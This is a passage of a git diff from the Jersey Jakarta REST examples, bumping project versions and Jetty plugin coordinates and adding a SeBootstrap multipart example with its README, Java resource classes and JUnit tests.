<artifactId>webapp-example-parent</artifactId>
<relativePath>../webapp-example-parent/pom.xml</relativePath>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>managed-beans-webapp</artifactId>
diff --git a/examples/managed-client-simple-webapp/pom.xml b/examples/managed-client-simple-webapp/pom.xml
index b0c44ce..89f5292 100644
--- a/examples/managed-client-simple-webapp/pom.xml
+++ b/examples/managed-client-simple-webapp/pom.xml
@@ -19,7 +19,7 @@
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>webapp-example-parent</artifactId>
<relativePath>../webapp-example-parent/pom.xml</relativePath>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>managed-client-simple-webapp</artifactId>
@@ -36,8 +36,8 @@
<build>
<plugins>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
<configuration>
<webApp>
<contextPath>/managed-client-simple-webapp/</contextPath>
diff --git a/examples/managed-client-webapp/pom.xml b/examples/managed-client-webapp/pom.xml
index 84d614d..753b377 100644
--- a/examples/managed-client-webapp/pom.xml
+++ b/examples/managed-client-webapp/pom.xml
@@ -19,7 +19,7 @@
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>webapp-example-parent</artifactId>
<relativePath>../webapp-example-parent/pom.xml</relativePath>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>managed-client-webapp</artifactId>
@@ -48,8 +48,8 @@
<build>
<plugins>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
<configuration>
<webApp>
<contextPath>/managed-client-webapp/</contextPath>
diff --git a/examples/managed-client/pom.xml b/examples/managed-client/pom.xml
index 573177b..02ccb0a 100644
--- a/examples/managed-client/pom.xml
+++ b/examples/managed-client/pom.xml
@@ -17,7 +17,7 @@
<parent>
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>managed-client</artifactId>
diff --git a/examples/micrometer/pom.xml b/examples/micrometer/pom.xml
index b536662..0abfc92 100644
--- a/examples/micrometer/pom.xml
+++ b/examples/micrometer/pom.xml
@@ -16,7 +16,7 @@
<parent>
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-micrometer-webapp</artifactId>
diff --git a/examples/multipart-webapp/README.MD b/examples/multipart-webapp/README.MD
index 672fda0..ef421c2 100644
--- a/examples/multipart-webapp/README.MD
+++ b/examples/multipart-webapp/README.MD
@@ -1,4 +1,4 @@
-[//]: # " Copyright (c) 2015, 2020 Oracle and/or its affiliates. All rights reserved. "
+[//]: # " Copyright (c) 2015, 2023 Oracle and/or its affiliates. All rights reserved. "
[//]: # " "
[//]: # " This program and the accompanying materials are made available under the "
[//]: # " terms of the Eclipse Distribution License v. 1.0, which is available at "
@@ -10,20 +10,23 @@
=========================
This example demonstrates how to develop RESTful web service with
-demonstrating JAX-RS Integration with MIME MultiPart Message Formats and
-an Jakarta EE 9 compliant Web container.
+demonstrating Jakarta-REST Integration with MIME MultiPart Message Formats and
+a Jakarta EE 9 compliant Web container.
+
+Please see also comparable example demonstrating usage of Jakarta REST 3.1 API for
+MIME MultiPart Message Formats (JERSEY_ROOT/examples/rest31-sebootstrap-multipart)
Contents
--------
The mapping of the URI path space is presented in the following table:
-URI path | Description | Sample request using curl
----------------------------- | ---------------------------------------------- | -----------------------------------------------------------------------------------------------
-**_/form/part_** | POST message returning entire string | `curl -X POST -F "part=part1" http://localhost:8080/multipart-webapp/form/part`
-**_/form/part-file-name_** | POST message returning part filename string. | Be sure to execute this curl from project directory where pom.xml resides
- | | `curl -X POST -F "part=@pom.xml" http://localhost:8080/multipart-webapp/form/part-file-name`
-**_/form/xml-jaxb-part_** | POST message returning xml jaxb part string. | No curl sample available, please check test sources.
+ URI path | Description | Sample request using curl
+----------------------------|----------------------------------------------| -----------------------------------------------------------------------------------------------
+ **_/form/part_** | POST message returning entire string | `curl -X POST -F "part=part1" http://localhost:8080/multipart-webapp/form/part`
+ **_/form/part-file-name_** | POST message returning part filename string. | Be sure to execute this curl from project directory where pom.xml resides
+| | | `curl -X POST -F "part=@pom.xml" http://localhost:8080/multipart-webapp/form/part-file-name`
+ **_/form/xml-jaxb-part_** | POST message returning xml jaxb part string. | No curl sample available, please check test sources.
Running the Example
-------------------
@@ -32,4 +35,4 @@
> `mvn clean package jetty:run`
-Following steps are using [cURL](http://curl.haxx.se/) command line tool:
\ No newline at end of file
+The sample requests are using [cURL](http://curl.haxx.se/) command line tool.
\ No newline at end of file
diff --git a/examples/multipart-webapp/pom.xml b/examples/multipart-webapp/pom.xml
index 06b3afa..5cf7c39 100644
--- a/examples/multipart-webapp/pom.xml
+++ b/examples/multipart-webapp/pom.xml
@@ -19,7 +19,7 @@
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>webapp-example-parent</artifactId>
<relativePath>../webapp-example-parent/pom.xml</relativePath>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>multipart-webapp</artifactId>
@@ -50,8 +50,8 @@
<build>
<plugins>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/examples/oauth-client-twitter/pom.xml b/examples/oauth-client-twitter/pom.xml
index 1cac7ba..0f249e3 100644
--- a/examples/oauth-client-twitter/pom.xml
+++ b/examples/oauth-client-twitter/pom.xml
@@ -15,7 +15,7 @@
<parent>
<artifactId>project</artifactId>
<groupId>org.glassfish.jersey.examples</groupId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<modelVersion>4.0.0</modelVersion>
diff --git a/examples/open-tracing/pom.xml b/examples/open-tracing/pom.xml
index 4370892..212728a 100644
--- a/examples/open-tracing/pom.xml
+++ b/examples/open-tracing/pom.xml
@@ -17,7 +17,7 @@
<parent>
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>open-tracing</artifactId>
diff --git a/examples/osgi-helloworld-webapp/additional-bundle/pom.xml b/examples/osgi-helloworld-webapp/additional-bundle/pom.xml
index 6a7a6b9..77d0a7c 100644
--- a/examples/osgi-helloworld-webapp/additional-bundle/pom.xml
+++ b/examples/osgi-helloworld-webapp/additional-bundle/pom.xml
@@ -18,7 +18,7 @@
<parent>
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>osgi-helloworld-webapp</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<groupId>org.glassfish.jersey.examples.osgi-helloworld-webapp</groupId>
diff --git a/examples/osgi-helloworld-webapp/alternate-version-bundle/pom.xml b/examples/osgi-helloworld-webapp/alternate-version-bundle/pom.xml
index 7501550..56a73e5 100644
--- a/examples/osgi-helloworld-webapp/alternate-version-bundle/pom.xml
+++ b/examples/osgi-helloworld-webapp/alternate-version-bundle/pom.xml
@@ -18,7 +18,7 @@
<parent>
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>osgi-helloworld-webapp</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<groupId>org.glassfish.jersey.examples.osgi-helloworld-webapp</groupId>
diff --git a/examples/osgi-helloworld-webapp/functional-test/pom.xml b/examples/osgi-helloworld-webapp/functional-test/pom.xml
index 8453b3a..67daff2 100644
--- a/examples/osgi-helloworld-webapp/functional-test/pom.xml
+++ b/examples/osgi-helloworld-webapp/functional-test/pom.xml
@@ -18,7 +18,7 @@
<parent>
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>osgi-helloworld-webapp</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<groupId>org.glassfish.jersey.examples.osgi-helloworld-webapp</groupId>
@@ -145,8 +145,8 @@
<scope>test</scope>
</dependency>
<dependency>
- <groupId>com.sun.activation</groupId>
- <artifactId>jakarta.activation</artifactId>
+ <groupId>org.eclipse.angus</groupId>
+ <artifactId>angus-activation</artifactId>
</dependency>
<!-- uncomment the following dependency to get ability
to run felix console in the test -->
@@ -204,7 +204,8 @@
<plugin>
<artifactId>maven-surefire-plugin</artifactId>
<configuration>
- <forkMode>always</forkMode>
+ <forkCount>1</forkCount>
+ <reuseForks>false</reuseForks>
<enableAssertions>false</enableAssertions>
<classpathDependencyExcludes>
<classpathDepenencyExclude>org.apache.felix:org.osgi.core</classpathDepenencyExclude>
diff --git a/examples/osgi-helloworld-webapp/lib-bundle/pom.xml b/examples/osgi-helloworld-webapp/lib-bundle/pom.xml
index dcd3cbc..2c5e7e3 100644
--- a/examples/osgi-helloworld-webapp/lib-bundle/pom.xml
+++ b/examples/osgi-helloworld-webapp/lib-bundle/pom.xml
@@ -18,7 +18,7 @@
<parent>
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>osgi-helloworld-webapp</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<groupId>org.glassfish.jersey.examples.osgi-helloworld-webapp</groupId>
diff --git a/examples/osgi-helloworld-webapp/pom.xml b/examples/osgi-helloworld-webapp/pom.xml
index fc66fec..f25be4e 100644
--- a/examples/osgi-helloworld-webapp/pom.xml
+++ b/examples/osgi-helloworld-webapp/pom.xml
@@ -18,7 +18,7 @@
<parent>
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>osgi-helloworld-webapp</artifactId>
diff --git a/examples/osgi-helloworld-webapp/war-bundle/pom.xml b/examples/osgi-helloworld-webapp/war-bundle/pom.xml
index 1249a34..40a4be5 100644
--- a/examples/osgi-helloworld-webapp/war-bundle/pom.xml
+++ b/examples/osgi-helloworld-webapp/war-bundle/pom.xml
@@ -18,7 +18,7 @@
<parent>
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>osgi-helloworld-webapp</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<groupId>org.glassfish.jersey.examples.osgi-helloworld-webapp</groupId>
@@ -57,7 +57,6 @@
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
- <version>${servlet5.version}</version><!-- the current project's ${servlet2.version} is 2.4 and that's not enough -->
<scope>provided</scope>
</dependency>
diff --git a/examples/osgi-http-service/bundle/pom.xml b/examples/osgi-http-service/bundle/pom.xml
index 24cc2ed..3e0b865 100644
--- a/examples/osgi-http-service/bundle/pom.xml
+++ b/examples/osgi-http-service/bundle/pom.xml
@@ -36,7 +36,6 @@
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
- <version>${servlet5.version}</version>
</dependency>
<dependency>
<groupId>org.glassfish.jersey.containers</groupId>
diff --git a/examples/osgi-http-service/functional-test/pom.xml b/examples/osgi-http-service/functional-test/pom.xml
index 5ec3b1c..c9f3aaa 100644
--- a/examples/osgi-http-service/functional-test/pom.xml
+++ b/examples/osgi-http-service/functional-test/pom.xml
@@ -204,7 +204,8 @@
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-surefire-plugin</artifactId>
<configuration>
- <forkMode>always</forkMode>
+ <forkCount>1</forkCount>
+ <reuseForks>false</reuseForks>
<enableAssertions>false</enableAssertions>
</configuration>
<executions>
@@ -238,9 +239,8 @@
</activation>
<dependencies>
<dependency>
- <groupId>com.sun.activation</groupId>
- <artifactId>jakarta.activation</artifactId>
- <version>${jakarta.activation.version}</version>
+ <groupId>org.eclipse.angus</groupId>
+ <artifactId>angus-activation</artifactId>
</dependency>
</dependencies>
</profile>
diff --git a/examples/pom.xml b/examples/pom.xml
index 1798d4f..f2d255e 100644
--- a/examples/pom.xml
+++ b/examples/pom.xml
@@ -18,7 +18,7 @@
<parent>
<groupId>org.glassfish.jersey</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<licenses>
@@ -106,6 +106,7 @@
<module>oauth-client-twitter</module>
<!--<module>oauth2-client-google-webapp</module>-->
<module>reload</module>
+ <module>rest31-sebootstrap-multipart</module>
<module>rx-client-webapp</module>
<module>server-async</module>
<module>server-async-managed</module>
@@ -199,7 +200,7 @@
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-resources-plugin</artifactId>
- <version>2.6</version>
+ <version>${resources.mvn.plugin.version}</version>
<!-- Add legal information, NOTICE.md and LINCENSE.md to jars -->
<executions>
<execution>
diff --git a/examples/reload/pom.xml b/examples/reload/pom.xml
index fbb06f8..52db10f 100644
--- a/examples/reload/pom.xml
+++ b/examples/reload/pom.xml
@@ -18,7 +18,7 @@
<parent>
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>reload</artifactId>
diff --git a/examples/rest31-sebootstrap-multipart/README.MD b/examples/rest31-sebootstrap-multipart/README.MD
new file mode 100644
index 0000000..804e7b6
--- /dev/null
+++ b/examples/rest31-sebootstrap-multipart/README.MD
@@ -0,0 +1,37 @@
+[//]: # " Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. "
+[//]: # " "
+[//]: # " This program and the accompanying materials are made available under the "
+[//]: # " terms of the Eclipse Distribution License v. 1.0, which is available at "
+[//]: # " http://www.eclipse.org/org/documents/edl-v10.php. "
+[//]: # " "
+[//]: # " SPDX-License-Identifier: BSD-3-Clause "
+
+Multipart Web app Example
+=========================
+
+This example demonstrates how to develop RESTful web service with
+demonstrating Jakarta REST Integration with MIME MultiPart Message Formats and
+Jakarta REST EE 10 SeBootstrap functionality.
+
+Feel free to compare with pre-Jakarta REST 3.1 Jersey Multipart example (JERSEY_ROOT/examples/multipart-webapp).
+
+Contents
+--------
+
+The mapping of the URI path space is presented in the following table:
+
+ URI path | Description | Sample request using curl
+----------------------------|----------------------------------------------| -----------------------------------------------------------------------------------------------
+ **_/form/part_** | POST message returning entire string | `curl -X POST -F "part=part1" http://localhost:8080/multipart-webapp/form/part`
+ **_/form/part-file-name_** | POST message returning part filename string. | Be sure to execute this curl from project directory where pom.xml resides
+| | | `curl -X POST -F "part=@pom.xml" http://localhost:8080/multipart-webapp/form/part-file-name`
+ **_/form/xml-jaxb-part_** | POST message returning xml jaxb part string. | No curl sample available, please check test sources.
+
+Running the Example
+-------------------
+
+You can run the example using Jetty as follows:
+
+> `mvn clean package exec:java`
+
+The sample requests are using [cURL](http://curl.haxx.se/) command line tool.
\ No newline at end of file
diff --git a/examples/rest31-sebootstrap-multipart/pom.xml b/examples/rest31-sebootstrap-multipart/pom.xml
new file mode 100644
index 0000000..9dd995a
--- /dev/null
+++ b/examples/rest31-sebootstrap-multipart/pom.xml
@@ -0,0 +1,107 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+
+ Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+
+ This program and the accompanying materials are made available under the
+ terms of the Eclipse Distribution License v. 1.0, which is available at
+ http://www.eclipse.org/org/documents/edl-v10.php.
+
+ SPDX-License-Identifier: BSD-3-Clause
+
+-->
+
+<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
+
+ <modelVersion>4.0.0</modelVersion>
+
+ <parent>
+ <groupId>org.glassfish.jersey.examples</groupId>
+ <artifactId>project</artifactId>
+ <version>3.1.99-SNAPSHOT</version>
+ </parent>
+
+ <artifactId>rest31-sebootstrap-multipart</artifactId>
+ <name>jersey-examples-multipart-webapp</name>
+ <packaging>jar</packaging>
+
+ <description>Jersey SeBootstrap Multipart example.</description>
+
+ <dependencies>
+ <dependency>
+ <groupId>org.glassfish.jersey.media</groupId>
+ <artifactId>jersey-media-multipart</artifactId>
+ </dependency>
+ <dependency>
+ <groupId>org.glassfish.jersey.core</groupId>
+ <artifactId>jersey-server</artifactId>
+ </dependency>
+ <dependency>
+ <groupId>org.glassfish.jersey.inject</groupId>
+ <artifactId>jersey-hk2</artifactId>
+ </dependency>
+ <dependency>
+ <groupId>jakarta.xml.bind</groupId>
+ <artifactId>jakarta.xml.bind-api</artifactId>
+ </dependency>
+ <dependency>
+ <groupId>com.sun.xml.bind</groupId>
+ <artifactId>jaxb-osgi</artifactId>
+ </dependency>
+ <dependency>
+ <groupId>org.glassfish.jersey.containers</groupId>
+ <artifactId>jersey-container-jdk-http</artifactId>
+ </dependency>
+ <dependency>
+ <groupId>org.glassfish.jersey.test-framework</groupId>
+ <artifactId>jersey-test-framework-core</artifactId>
+ <scope>test</scope>
+ </dependency>
+ <dependency>
+ <groupId>org.glassfish.jersey.test-framework</groupId>
+ <artifactId>jersey-test-framework-util</artifactId>
+ <scope>test</scope>
+ </dependency>
+ <dependency>
+ <groupId>org.junit.jupiter</groupId>
+ <artifactId>junit-jupiter</artifactId>
+ <scope>test</scope>
+ </dependency>
+ <dependency>
+ <groupId>org.glassfish.jersey.test-framework.providers</groupId>
+ <artifactId>jersey-test-framework-provider-grizzly2</artifactId>
+ <scope>test</scope>
+ </dependency>
+ </dependencies>
+
+ <build>
+ <plugins>
+ <plugin>
+ <groupId>org.codehaus.mojo</groupId>
+ <artifactId>exec-maven-plugin</artifactId>
+ <configuration>
+ <mainClass>org.glassfish.jersey.examples.multipart.webapp.Main</mainClass>
+ </configuration>
+ </plugin>
+ </plugins>
+ </build>
+
+ <profiles>
+ <profile>
+ <id>pre-release</id>
+ <build>
+ <plugins>
+ <plugin>
+ <groupId>org.codehaus.mojo</groupId>
+ <artifactId>xml-maven-plugin</artifactId>
+ </plugin>
+ <plugin>
+ <groupId>org.apache.maven.plugins</groupId>
+ <artifactId>maven-assembly-plugin</artifactId>
+ </plugin>
+ </plugins>
+ </build>
+ </profile>
+ </profiles>
+
+</project>
diff --git a/examples/rest31-sebootstrap-multipart/src/main/java/org/glassfish/jersey/examples/multipart/webapp/Bean.java b/examples/rest31-sebootstrap-multipart/src/main/java/org/glassfish/jersey/examples/multipart/webapp/Bean.java
new file mode 100644
index 0000000..458222b
--- /dev/null
+++ b/examples/rest31-sebootstrap-multipart/src/main/java/org/glassfish/jersey/examples/multipart/webapp/Bean.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Distribution License v. 1.0, which is available at
+ * http://www.eclipse.org/org/documents/edl-v10.php.
+ *
+ * SPDX-License-Identifier: BSD-3-Clause
+ */
+
+package org.glassfish.jersey.examples.multipart.webapp;
+
+import jakarta.xml.bind.annotation.XmlRootElement;
+
+@XmlRootElement
+public class Bean {
+
+ public String value;
+
+ public Bean() {
+ }
+
+ public Bean(String str) {
+ value = str;
+ }
+
+}
diff --git a/examples/rest31-sebootstrap-multipart/src/main/java/org/glassfish/jersey/examples/multipart/webapp/Main.java b/examples/rest31-sebootstrap-multipart/src/main/java/org/glassfish/jersey/examples/multipart/webapp/Main.java
new file mode 100644
index 0000000..5dbcfd0
--- /dev/null
+++ b/examples/rest31-sebootstrap-multipart/src/main/java/org/glassfish/jersey/examples/multipart/webapp/Main.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Distribution License v. 1.0, which is available at
+ * http://www.eclipse.org/org/documents/edl-v10.php.
+ *
+ * SPDX-License-Identifier: BSD-3-Clause
+ */
+
+package org.glassfish.jersey.examples.multipart.webapp;
+
+import jakarta.ws.rs.SeBootstrap;
+
+import java.io.IOException;
+import java.util.concurrent.ExecutionException;
+
+public class Main {
+ public static void main(String[] args) throws ExecutionException, InterruptedException {
+ final SeBootstrap.Configuration.Builder bootstrapConfigurationBuilder = SeBootstrap.Configuration.builder();
+ bootstrapConfigurationBuilder.property(SeBootstrap.Configuration.PORT, 8080);
+
+ SeBootstrap.start(new MyApplication(), bootstrapConfigurationBuilder.build())
+ .whenComplete((instance1, throwable) -> {
+ try {
+ System.out.println("Press enter to exit");
+ System.in.read();
+ } catch (IOException e) {
+ throw new RuntimeException(e);
+ }
+ }).thenAccept((i) -> i.stop())
+
+ .toCompletableFuture().get();
+
+ System.out.println("Exiting...");
+ }
+}
diff --git a/examples/rest31-sebootstrap-multipart/src/main/java/org/glassfish/jersey/examples/multipart/webapp/MultiPartResource.java b/examples/rest31-sebootstrap-multipart/src/main/java/org/glassfish/jersey/examples/multipart/webapp/MultiPartResource.java
new file mode 100644
index 0000000..dec7d0e
--- /dev/null
+++ b/examples/rest31-sebootstrap-multipart/src/main/java/org/glassfish/jersey/examples/multipart/webapp/MultiPartResource.java
@@ -0,0 +1,55 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Distribution License v. 1.0, which is available at
+ * http://www.eclipse.org/org/documents/edl-v10.php.
+ *
+ * SPDX-License-Identifier: BSD-3-Clause
+ */
+
+package org.glassfish.jersey.examples.multipart.webapp;
+
+import jakarta.ws.rs.Consumes;
+import jakarta.ws.rs.FormParam;
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.core.EntityPart;
+import jakarta.ws.rs.core.MediaType;
+
+import java.io.IOException;
+
+@Path("/form")
+public class MultiPartResource {
+
+ @GET
+ @Path("test")
+ public String test() {
+ return "Test successful";
+ }
+
+ @POST
+ @Path("part")
+ @Consumes(MediaType.MULTIPART_FORM_DATA)
+ public String post(@FormParam("part") String s) {
+ return s;
+ }
+
+ @POST
+ @Path("part-file-name")
+ @Consumes(MediaType.MULTIPART_FORM_DATA)
+ public String post(@FormParam("part")EntityPart entityPart) throws IOException {
+ return entityPart.getContent(String.class) + ":" + entityPart.getFileName().get();
+ }
+
+ @POST
+ @Path("xml-jaxb-part")
+ @Consumes(MediaType.MULTIPART_FORM_DATA)
+ public String post(
+ @FormParam("string") EntityPart stringEntityPart,
+ @FormParam("bean") EntityPart beanEntityPart) throws IOException {
+ return stringEntityPart.getContent(String.class) + ":" + stringEntityPart.getFileName().get() + ","
+ + beanEntityPart.getContent(Bean.class).value + ":" + beanEntityPart.getFileName().get();
+ }
+}
diff --git a/examples/rest31-sebootstrap-multipart/src/main/java/org/glassfish/jersey/examples/multipart/webapp/MyApplication.java b/examples/rest31-sebootstrap-multipart/src/main/java/org/glassfish/jersey/examples/multipart/webapp/MyApplication.java
new file mode 100644
index 0000000..d9d7f30
--- /dev/null
+++ b/examples/rest31-sebootstrap-multipart/src/main/java/org/glassfish/jersey/examples/multipart/webapp/MyApplication.java
@@ -0,0 +1,23 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Distribution License v. 1.0, which is available at
+ * http://www.eclipse.org/org/documents/edl-v10.php.
+ *
+ * SPDX-License-Identifier: BSD-3-Clause
+ */
+
+package org.glassfish.jersey.examples.multipart.webapp;
+
+import jakarta.ws.rs.ApplicationPath;
+
+import org.glassfish.jersey.server.ResourceConfig;
+
+@ApplicationPath("/multipart-webapp")
+public class MyApplication extends ResourceConfig {
+
+ public MyApplication() {
+ super(MultiPartResource.class);
+ }
+}
diff --git a/examples/rest31-sebootstrap-multipart/src/test/java/org/glassfish/jersey/examples/multipart/webapp/MultiPartWebAppTest.java b/examples/rest31-sebootstrap-multipart/src/test/java/org/glassfish/jersey/examples/multipart/webapp/MultiPartWebAppTest.java
new file mode 100644
index 0000000..218923f
--- /dev/null
+++ b/examples/rest31-sebootstrap-multipart/src/test/java/org/glassfish/jersey/examples/multipart/webapp/MultiPartWebAppTest.java
@@ -0,0 +1,131 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Distribution License v. 1.0, which is available at
+ * http://www.eclipse.org/org/documents/edl-v10.php.
+ *
+ * SPDX-License-Identifier: BSD-3-Clause
+ */
+
+package org.glassfish.jersey.examples.multipart.webapp;
+
+import java.io.File;
+import java.io.IOException;
+import java.net.URI;
+import java.util.List;
+
+import jakarta.ws.rs.ApplicationPath;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.EntityPart;
+import jakarta.ws.rs.core.GenericEntity;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+import jakarta.ws.rs.core.UriBuilder;
+
+import javax.xml.parsers.DocumentBuilder;
+import javax.xml.parsers.DocumentBuilderFactory;
+import javax.xml.xpath.XPath;
+import javax.xml.xpath.XPathConstants;
+import javax.xml.xpath.XPathFactory;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.internal.util.SaxHelper;
+import org.glassfish.jersey.internal.util.SimpleNamespaceResolver;
+import org.glassfish.jersey.test.JerseyTest;
+
+import org.junit.jupiter.api.Test;
+import org.w3c.dom.Document;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * Tests for {@code MultipartResource} class.
+ *
+ * @author Naresh (Srinivas Bhimisetty)
+ * @author Michal Gajdos
+ */
+public class MultiPartWebAppTest extends JerseyTest {
+
+ public static final String PATH = MyApplication.class.getAnnotation(ApplicationPath.class).value();
+
+ @Override
+ protected URI getBaseUri() {
+ return UriBuilder.fromUri(super.getBaseUri()).path(PATH).build();
+ }
+
+ @Override
+ protected Application configure() {
+ return new MyApplication();
+ }
+
+ @Test
+ public void testApplicationWadl() throws Exception {
+ final WebTarget target = target().path(PATH + "/application.wadl");
+
+ final Response response = target.request().get();
+ assertEquals(200, response.getStatus());
+ final File tmpFile = response.readEntity(File.class);
+
+ final DocumentBuilderFactory bf = DocumentBuilderFactory.newInstance();
+ bf.setNamespaceAware(true);
+ bf.setValidating(false);
+
+ if (!SaxHelper.isXdkDocumentBuilderFactory(bf)) {
+ bf.setXIncludeAware(false);
+ }
+
+ final DocumentBuilder b = bf.newDocumentBuilder();
+ final Document d = b.parse(tmpFile);
+
+ final XPath xp = XPathFactory.newInstance().newXPath();
+ xp.setNamespaceContext(new SimpleNamespaceResolver("wadl", "http://wadl.dev.java.net/2009/02"));
+ String val = (String) xp.evaluate(
+ "//wadl:resource[@path='part']/wadl:method[@name='POST']/wadl:request/wadl:representation/@mediaType",
+ d, XPathConstants.STRING);
+
+ assertEquals("multipart/form-data", val);
+ }
+
+ @Test
+ public void testPart() throws IOException {
+ final WebTarget target = target().path(PATH + "/form/part");
+
+ final EntityPart entityPart = EntityPart.withName("part").content("CONTENT", String.class).build();
+ final GenericEntity<List<EntityPart>> genericEntity = new GenericEntity<>(List.of(entityPart)) {};
+
+ final String s = target.request().post(Entity.entity(genericEntity, MediaType.MULTIPART_FORM_DATA_TYPE), String.class);
+ assertEquals("CONTENT", s);
+ }
+
+ @Test
+ public void testPartWithFileName() throws IOException {
+ final WebTarget target = target().path(PATH + "/form/part-file-name");
+
+ final EntityPart entityPart = EntityPart.withName("part").fileName("file").content("CONTENT", String.class).build();
+ final GenericEntity<List<EntityPart>> genericEntity = new GenericEntity<>(List.of(entityPart)) {};
+
+ final String s = target.request().post(Entity.entity(genericEntity, MediaType.MULTIPART_FORM_DATA_TYPE), String.class);
+ assertEquals("CONTENT:file", s);
+ }
+
+ @Test
+ public void testXmlJAXBPart() throws IOException {
+ final WebTarget target = target().path(PATH + "/form/xml-jaxb-part");
+
+ final EntityPart entityPart1 = EntityPart.withName("bean").fileName("bean")
+ .content(new Bean("BEAN"), Bean.class)
+ .mediaType(MediaType.APPLICATION_XML_TYPE)
+ .build();
+ final EntityPart entityPart2 = EntityPart.withName("string").fileName("string")
+ .content("STRING", String.class)
+ .build();
+
+ final GenericEntity<List<EntityPart>> genericEntity = new GenericEntity<>(List.of(entityPart1, entityPart2)) {};
+
+ final String s = target.request().post(Entity.entity(genericEntity, MediaType.MULTIPART_FORM_DATA_TYPE), String.class);
+ assertEquals("STRING:string,BEAN:bean", s);
+ }
+}
diff --git a/examples/rx-client-webapp/pom.xml b/examples/rx-client-webapp/pom.xml
index 9fb7b2c..116b9ca 100644
--- a/examples/rx-client-webapp/pom.xml
+++ b/examples/rx-client-webapp/pom.xml
@@ -18,7 +18,7 @@
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>webapp-example-parent</artifactId>
<relativePath>../webapp-example-parent/pom.xml</relativePath>
- <version>3.0.99-SNAPSHOT</version>
